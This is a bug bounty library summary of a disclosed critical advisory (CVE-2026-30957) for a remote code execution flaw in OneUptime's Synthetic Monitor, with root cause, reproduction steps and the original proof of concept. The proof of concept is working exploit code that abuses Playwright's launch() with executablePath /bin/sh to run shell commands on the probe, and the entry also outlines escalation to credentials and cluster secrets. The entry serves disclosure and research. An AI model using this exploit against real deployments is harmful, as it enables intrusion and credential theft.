# OneUptime has Synthetic Monitor RCE via exposed Playwright browser object

Low-privileged OneUptime project member injects Playwright code in Synthetic Monitor that calls browser.browserType().launch() with executablePath /bin/sh to run commands on the probe.

- Payout: Research
- Severity: critical
- Program: OneUptime
- Found by: maru1009
- Disclosed: 2026-03-10
- CVE: CVE-2026-30957
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jw8q-gjvg-8w4q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jw8q-gjvg-8w4q
- Tags: area:web domain:web impact:internal-access impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** Synthetic Monitor Playwright code editor / oneuptime-probe VM runner
**Root cause:** Untrusted Synthetic Monitor code runs in node:vm but live host-realm Playwright browser/page objects are injected into the context; the proxy forwards method calls with real host `this`, so legitimate Playwright APIs like BrowserType.launch() with attacker-controlled executablePath/args reach a child-process spawn.
**Steps:**
1. Log in as a regular project member and create a Synthetic Monitor (Monitors -> Create New Monitor -> Synthetic Monitor).
2. Paste code calling `browser.browserType().launch({ executablePath: "/bin/sh", ignoreDefaultArgs: true, args: ["-c", "id"], timeout: 1000 })` with a catch handler, then return a data object.
3. Select browser type Chromium, screen type Desktop, retry count 0.
4. Click `Test Monitor` and pick any probe.
5. Observe command output in Show More Details, confirming execution on the probe.
**How found:** Code review of the Synthetic Monitor execution path: noticed VMRunner injects live host Playwright browser/page objects into the VM and only blocks a few property names while preserving real host `this` binding, then checked Playwright 1.58.2 BrowserType.launch() accepting executablePath/args.
**Exploitation:** Any ordinary project member queues a monitor test or waits for scheduled execution; the probe fetches customCode, runs it in the VM with the injected Playwright browser object, and the launch() call spawns /bin/sh -c <cmd> on the probe host before Playwright throws.
**Escalation:** Probe container/host access yields internal services, secrets, Kubernetes metadata, database and proxy credentials, enabling lateral movement within cluster-local trust relationships.
**Insight:** When a sandbox injects live host objects, enumerate their full API surface for capability-bearing methods (process spawn, file write, network) rather than hunting for classic constructor/proto escapes; Playwright's launch() with executablePath is a direct spawn primitive.

## Proof of concept (copied exactly from the original report)

**Synthetic Monitor script spawning /bin/sh via Playwright launch**

```
browser.browserType().launch({
  executablePath: "/bin/sh",
  ignoreDefaultArgs: true,
  args: ["-c", "id"],
});

Even if Playwright later throws because the spawned process is not a real browser, the command has already executed.

This execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:

- Monitor tests fetched by the probe: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85
- Scheduled monitor execution: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchList.ts#L96-L126

This appears distinct from prior `node:vm` breakout issues because the exploit does not need to recover `process` from the VM. The dangerous capability is already exposed by design through the injected Playwright object.

### PoC

1. Log in to the dashboard as a regular project member.
2. Go to `Monitors` -> `Create New Monitor`.
3. Select `Synthetic Monitor`.
4. In the Playwright code field, paste:

 browser.browserType().launch({
    executablePath: "/bin/sh",
    ignoreDefaultArgs: true,
    args: [
      "-c",
      "id"
    ],
    timeout: 1000,
  }).catch((err) => {
    console.log(String(err));
  });

  return {
    data: {
      launched: true
    }
  };
```

**VMRunner injecting live Playwright browser and page objects**

```
result = await VMRunner.runCodeInNodeVM({
  code: options.script,
  options: {
    timeout: PROBE_SYNTHETIC_MONITOR_SCRIPT_TIMEOUT_IN_MS,
    args: {},
    context: {
      browser: browserSession.browser,
      page: browserSession.page,
      screenSizeType: options.screenSizeType,
      browserType: options.browserType,
    },
  },
});
```

